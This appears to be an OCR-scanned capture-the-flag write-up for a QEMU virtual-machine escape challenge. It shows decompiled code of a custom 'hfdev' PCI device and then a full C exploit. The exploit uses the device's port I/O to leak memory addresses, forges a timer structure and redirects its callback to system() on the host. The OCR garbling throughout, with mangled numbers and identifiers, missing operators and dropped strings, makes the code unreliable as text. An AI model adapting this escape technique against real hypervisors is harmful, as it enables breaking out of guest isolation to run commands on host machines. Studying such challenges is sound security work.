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FORTIFY:

#!1/bin/sh

./gemu-system-x86_64 \
-m 256M \

-kernel bzImage \

-hda rootfs.img \

-append

-monitor /dev/null \
-smp cores=1,threads=1 \
-cpu kvmé64,+smep,+smap \
-L pc-bios \

-device hfdev \

-no-reboot \
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do_gemu_init_pci_hfdev_register_types text

hfdev_port read text
pei_hfdev_register_types text
pci_hfdev _exit text
hfdev_process text
hfdev func text
hfdev_class_init text
hfdev port write text
pei_hfdev_realize text
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| inte4  fastcall pci_hfdev_realize(_ int64 al)
i
_QWORD *wl; // rbp
__inte4 w23 // rbx
__int64 w3; // rax

lii = ( oworD *)object dynamic_cast assert(al, "hfdev”, "../hw/misc/hfdev.c”, 38LL, "HFDEV");
w2 = g malloc@(48LL);

timer_init full({(unsigned int)v2, @, 1, 1, @, (unsigned int)hfdev_func, (_ inte4)wl);
vi[ex233] = v2;

v3 = gqemu_bh_new full(( inte4)hfdev_precess, (_ inte4)wl, (_ inte4)"hfdev_process™);
vi[ex231] = 1LL;
vi[ex234] = v3;
vi[ex14D] = eLL;
vi[ex14C] = @LL;
vi[ex158] = eLL;

vi[ex14E] = @LL;
vi[ex151] = eLL;
vi[ex238] = @LL;
memset(
(void *)({unsigned  int64)(vl + 338) & OxFFFFFFFFFFFFFFFBLL),
@,
8LL * (((unsigned int)wl - (((_DWORD)v1 + 2784) & @xFFFFFFF8) + 4483) »»> 3));
vi[562] = BLL;
wi[335] = BLL;
memory_region_init io(wvl + 388, vl, hfdev_iocport_ops, vl, "hfdev-pmic™, 32LL);
return pci register bar(al, @LL, 1LL, vl + 3@@);
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void timer_init full(QEMUTimer *ts,

QEMUTimerListGroup *timer_list group, QEMUClockType type,
int scale, int attributes,

QEMUTimerCB *cb, void *opaque);

void timer_init full(QEMUTimer *ts,
QEMUTimerListGroup *timer_list_group, QEMUClockType type,
int scale, int attributes,
QEMUTimerCB *cb, void *opaque)

if (!timer_list_group) {
timer_list_group main_loop_tlg;

timer_list = timer_list group->tl[type];
cb cb;

opaque = opaque;

scale scale;

attributes attributes;

expire_time L.

struct QEMUTimer {
int64_t expire_time;
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int attributes;
int scale;




|_inth4 _ tastcall timer_init_tull{__int
_ inte4 w73 // rax
__ints4 result; // rax

if ( laz )
32 = &main_loop_tlg;
v7 = a2[a3];

*(_QWORD *)(al + @x18) = ab;
*( DWORD *)({al + 8x2C) = a4;
*(_QWORD *)(al + 8) = v7;
result = a7;

*(_DWORD *)(al + @x28) = a5;
*(_QWORD *)({al + @x18) = a7;

*(_QWORD *)al = -1LL;
return result;
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__inted _ fastcall timer_init full{QEMUTimer *gemutimer, _QWORD *a2,
{

int6d_t *v7; // rax

__int64 result; // rax

if ( a2 ) ff a2 =@

a2 = &main_loop_tlg;
v/ = (int64_t *)a2[a3];
gemutimer-»>ch = (int6d t *)a6; [/ hfdev_func
gemutimer-»scale = ad; /71
gemutimer->timer_list = v7;
result = a7;

gemutimer->attributes = a5; // e
gemutimer->opaque = (inted_t *)a7; // hfdevEs ittt
gemutimer->expire_time = -1LL;

return result;
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3 8LL * (((unsigned int)vl - {((_DWORD)v1 + 2784) & @xFFFFFFFE) + 4488) >> 3));
4| wvi[562] = @LL;

5| wi1[335] = @LL;

6| memory_region_init_io(vl + 388, v1, hfdev_ioport_ops, vl, "hfdev-pmio™, 32LL);
7| return pci_register bar(al, @LL, 1LL, v1 + 38@);
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hfdev_port_read

| _inte4 _ fastcall hfdev_port_read(unsigned int *:
|t
i if (a2 == 8 )

return al[@x29C];
if (a2 »8)

if ( a2 == 12 )
; return al[@x294];
[ return @xFFFFFFFFLL;

1
if (a2 1= 2)
{

if (22 == 6 )

return al[@x462];
return @xFFFFFFFFLL;

}

return al[@x29E];
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hfdev_port_write
FTFF 2jmp rax
BEBERE

jmp rax
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_inte4 _ fastcall hfdev_port_write( QWORD *al, unsigned _ inte4 a2, unsigned _ ints4 a3)
1

__int64 result; // rax

_QWORD *v4; // rbx

unsigned _ inte4 w5; // [rsp+eh] [rbp-18h]

if (a2 <= @xC )

1
switch ( result )
case 2LL:
al[@x14C] = (unsigned _ intle)a3;
break;
case 4LL:
al[ex14C] |= a3 << 16;
break;
case GLL:
result = 1024LL;
if ( a3 > exdea )
as = 1824LL;
al[@x14D] = a3;
break;
case aLL:
al[ex151] = @LL;
result = @LL;
al[ex1De] = eLL;
memset(
fvoid *)({unsigned __int64)(al + @x152) & @xFFFFFFFFFFFFFFFSLL),
BJ
BLL * (((unsigned int)v4 - (((_DWORD)al + @xA98) & @xFFFFFFFB) + @xEB3) >> 3));
va[@x1D1l] = @8LL;
v4[ex218] = @LL;
memset(
fvoid *)({unsigned __int64){al + @x1D2) & @xFFFFFFFFFFFFFFFSLL),
BJ
8LL * (((unsigned int)v4 - (((_DWORD)al + @xE9@) & @xFFFFFFF8) + @x1888) >> 3));
break;
case laLl:
vs = a3;
result = gemu_clock_get ns(1LL);
v4[Bx158] = result + 10080808808 * v5;
break;
case 12LL:
result = gemu_bh_schedule(al[@x234]);
break;
default:
return result;
1
} _
return result;
1
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rbx, rdi
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hfdev_func

__inte4a _ fastcall hfdev_func(__inte4 al)
1

size t wl; // rdx

__int64 result; // rax

/1 = *(_OWORD *)(al + BxA78); // vi=a[ex14f]
#(_QWORD *){al + @x1188) = @LL; /7 a[@x231]=0
if (vl <= @x188 )
1 /f memcpy(a[a[@xl4e] +8xe88], a[@x232], a[ex14f])
memepy { (void *)({al + *(_QWORD *)(al + BxA7B) + @xE88), *(const void **)(al + @x1198), vl);
~esult = *{_QWORD *)(al + BxA78);
*(_OQWORD *)(al + OxA7@) += result; // a[Bxl4e] += a[@x14af]
h
return result;
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hfdev_process

R ERZIE

_int64 _ fastcall hfdev_process(__int64

__int64 vi;

__int64 v3;

unsigned _ int64 v4;
__int64 v5;

__int64 result;
unsigned _ int64 v7;
unsigned __int64 v8;
__intl6 v9;

int v10;

__int64 v1i;

bool v12;

int v13;

__int64 vi4;

char v15;

char vie6;

__int64 v17;

char v18;

vl = al + OxA88;
v3 = al + OxA88;
va (_QWORD *)(al + OXA68);
V5 (_QWORD *)(al + OXA60);
if ( v4 0x400 )
\Z3 1024LL;
cpu_physical memory_rw(v5, v3, v4, 0);




unsigned
switch ( (_BYTE)result )
{
case 0x20
v7 (unsigned _ intl16 *)(al OxA91) ;
(_QWORD *)(al + OxA70);
if ( v7 v8 )
v7 (unsigned _ int16)v8;
return cpu_physical memory rw(*(_QWORD *)(al OxA89), al OxE88,
case 0x30
result (unsigned _intl16 *)(al OxA89) ;
v1l (unsigned __ intl16 *)(al OxA8B) ;
if ( (unsigned __ intl16)result 0x100u (unsigned _ inti16)vil 0x100u )
{
v12 (_QWORD *) (a1l 0x1188) oLL;
(_QWORD *) (a1l OxA78) result;
(_QWORD *)(al 0x1190) vil vl;
if ( 'vi2 )
return timer_mod(*(_QWORD *)(al + ©x1198), *(_QWORD *)(al + OxA80));

}

break;
case 0x10
v9 (_WORD *) (a1 OxA8B) ;
result (unsigned __intlé6 *)(al OxA8D) ;
if (v 0x2202 )
{
v13 0x200;
if ( (unsigned __intl16)result 0x200u )
v13 (unsigned __intl6 *)(al OxA8D) ;
if ( (_WORD)result )
{
vi4 (unsigned _ int16)v13;
v15 (_BYTE *)(al + OxA89);
v16 (_BYTE *)(al + OXA8A);
result al OXAS8F ;
v17 al (unsigned int)(v13 1)
do
{
v18 (_BYTE *)result++;
(_BYTE *)(result + Ox3F8) v16 (v15 + v18);
(_QWORD *) (a1l OxA70) vl14;

b
while ( v17 result );

b
else if ( v9 0x2022 )

{

if ( (unsigned __ int64)(unsigned __ int16)result (_QWORD *)(al

LOWORD (result) (_QWORD *)(al + OXA70);
v10 (unsigned __ intl16)result;
result (5]
do

{
) (a1l result + OxE88) (_BYTE *)(a1 result + OxAS8F);




1
J

while ( vi1e (int)result );

1
J

break;

1
J

return result;
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_GNU_SOURCE

ftdefine PORTNUM Oxc040
ftdefine SLEEP_SEC 1

struct OP {
char opcode;
intl6_t regod;
intl6_t regl;
intl6_t reg2;
intl6_t reg3;
char payload[1015];
_attribute_ ((packed));

void init() {
setbuf(stdout,9);
setbuf(stdin,9);
setbuf(stderr,0);
iopl(3);

int64_t v2p(void* vaddr) {
char pmpath[0x100] {0 };
sprintf(pmpath, , getpid());
return read pagemap(pmpath, (unsigned long)vaddr);
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void pmio write(int addr, intl6_t val) {
outw(val, PORTNUM+addr);

intl6_t pmio_read(int addr) {
return inw(PORTNUM+addr);

void trigger aio() {

pmio_write(12, 9);

void set len(intl6_t len) {

pmio_write(6, len);

void set_expire_time(intl6_t nsec) {

pmio write(10, nsec);

void set_addr(int32_t paddr) {
pmio write(2, paddr & Oxffff);
pmio write(4, (paddr 16)& oxffff);

main()

init();

char data[0x1000] {0};
struct OP opl;
memset (&opl, @, sizeof(opl));

int32_t op_addr = v2p(&opl);
set_addr(op_addr);
set_len(0x400);

int32_t data_addr

printf(

opl.opcode 0x10;
opl.rego 0,
opl.regl 8706,
opl.reg2 0x200;

trigger_aio();
sleep(SLEEP_SEC);

printf(

memset (&opl, 0, sizeof(opl));
opl.opcode 0x30;

opl.rego 0x100;

opl.regl 0x80;
trigger_aio();
sleep(SLEEP_SEC);

printf(




opl.opcode 0x10;

opl.rego @)¢

opl.regl 8226;

opl.reg2 0x300;
((char*)&opl.reg3+0x300)

trigger_aio();

sleep(SLEEP_SEC);

printf(

memset (&opl, O, sizeof(opl));
opl.opcode 0x30;

opl.reg@ 0x10;

opl.regl 0x80;
trigger_aio();
sleep(SLEEP_SEC);

printf(

memset (&opl, @, sizeof(opl));
opl.opcode 0x30;
trigger_aio();
sleep(SLEEP_SEC);

printf(

memset (&opl, @, sizeof(opl));

opl.opcode 0x20;
(int64_t*)(&opl.reg9) data_addr;
(int16_t*)(&opl.payload[0]) 0x310;

trigger_aio();

sleep(SLEEP_SEC);

int64_t op_ptr (int64_t*)(data+0x308);
int64_t base_ptr = op_ptr-0xA88;

int64_t ctx_ptr = op_ptr-0x122098;
int64_t timer_ptr = op_ptr+0x12b8;

int64_t timer_list_ptr = op_ptr-0x110df78;

printf( , op_ptr);

printf( , base_ptr);

printf( , ctx_ptr);

printf( , timer_ptr);

printf( , timer_list_ptr);

printf( E
memset (&opl, 0, sizeof(opl));
opl.opcode 0x10;
opl.rego 0,
opl.regl 8226,
opl.reg2 0x300;
((char*)&opl.reg3+0x300) ox1;

trigger_aio();
sleep(SLEEP_SEC);

printf(
set_expire_time(1090);
sleep(SLEEP_SEC);




opl.opcode 0x30;
opl.rego Sk
trigger_aio();
sleep(SLEEP_SEC);

printf(

memset (&opl, @, sizeof(opl));
opl.opcode 0x10;

opl.reg@ Q;

opl.regl 8226;

opl.reg2 0x310-1;

(int64_t*)((char*)&opl.reg3+0x308) (timer_ptr+0x10) op_ptr;

trigger_aio();
sleep(SLEEP_SEC);

printf(

sleep(10);

printf(

memset (&data, 0, sizeof(data));

memset (&opl, @, sizeof(opl));

opl.opcode 0x20;
(int64_t*)(&opl.reg9) data_addr;
(int16_t*)(&opl.payload[0]) 0x318;

trigger_aio();

sleep(SLEEP_SEC);

int64_t hfdev_func_ptr (int64_t*)(data+0x308+8);
int64_t codebase hfdev_func_ptr-0x381190;

int64_t system_ptr codebase+0x2D6610;

printf( , hfdev_func_ptr);
printf( , codebase);

printf( , system_ptr);

int64_t fake_timer op_ptr 9

set_expire_time(0);
sleep(SLEEP_SEC);

printf(

memset (&opl, 0, sizeof(opl));

opl.opcode 0x10;

opl.rego 0,

opl.regl 8226;

opl.reg2 0x300;
((char*)&opl.reg3+0x300) ox1;

trigger_aio();
sleep(SLEEP_SEC);

printf(
getchar();

printf(

memset (&opl, @, sizeof(opl));

opl.opcode 0x30;

uint64_t* ptr (uint64_t*)((char*)&opl+9);
ptr[o] 12 i e T e e e e

ptr[1] timer_list ptr;




ptr[2] system_ptr;
ptr[3] fake timer+8+*8;
strcpy((char*)&ptr[8],
trigger_aio();
sleep(SLEEP_SEC);
getchar();

ttdefine PAGEMAP_ENTRY 8
#tdefine GET_BIT(X,Y) (X & ((uint64_t)1<<Y))
ttdefine GET_PFN(X) X & @x7FFFFFFFFFFFFF

const int __endian_bit al.g

tdefine is_bigendian() ( (*(char*)& endian_bit)

int i, c, pid, status;
unsigned long virt_addr;
uint64_t read_val, file_offset, page_size;
char path_buf [0x100] {};
f;
end;

int read_pagemap(char path_buf, unsigned long virt_addr);

int read_pagemap(char path_buf, unsigned long virt_addr){
f = fopen(path_buf, )
1F(1F){
printf( , path_buf);

return -1;

file offset (virt_addr / getpagesize()) PAGEMAP_ENTRY ;
printf( , virt_addr, getpagesize(), PAGEMAP_ENTRY);
printf( , path_buf, (unsigned long long) file_offset);
status fseek(f, file offset, SEEK SET);
if(status){

perror( )

return -1;
)i
errno Q;
read_val 9;
unsigned char c_buf[PAGEMAP_ENTRY];
for(i=0; i PAGEMAP_ENTRY; i++){

C getc(f);

if(c==EOF){

printf(




}
if(is_bigendian())
c_buf[i] C;
else
c_buf[PAGEMAP_ENTRY - i - 1] = c;
printf( , 1, C);

1
J

for(i=0; i < PAGEMAP_ENTRY; i++){

read_val (read_val 8) c_buf[i];
!
J

printf( )

printf( , (unsigned long long) read_val);
uinté4_t pfn;
if(GET_BIT(read _val, 63)) {
pfn = GET_PFN(read val);
printf( , pfn, pfn getpagesize() virt_addr

} else
printf(
if(GET_BIT(read_val, 62))
printf( )
fclose(f);
uinté4_t paddr = pfn * getpagesize() virt_addr % getpagesize();

return paddr;

getpagesize());
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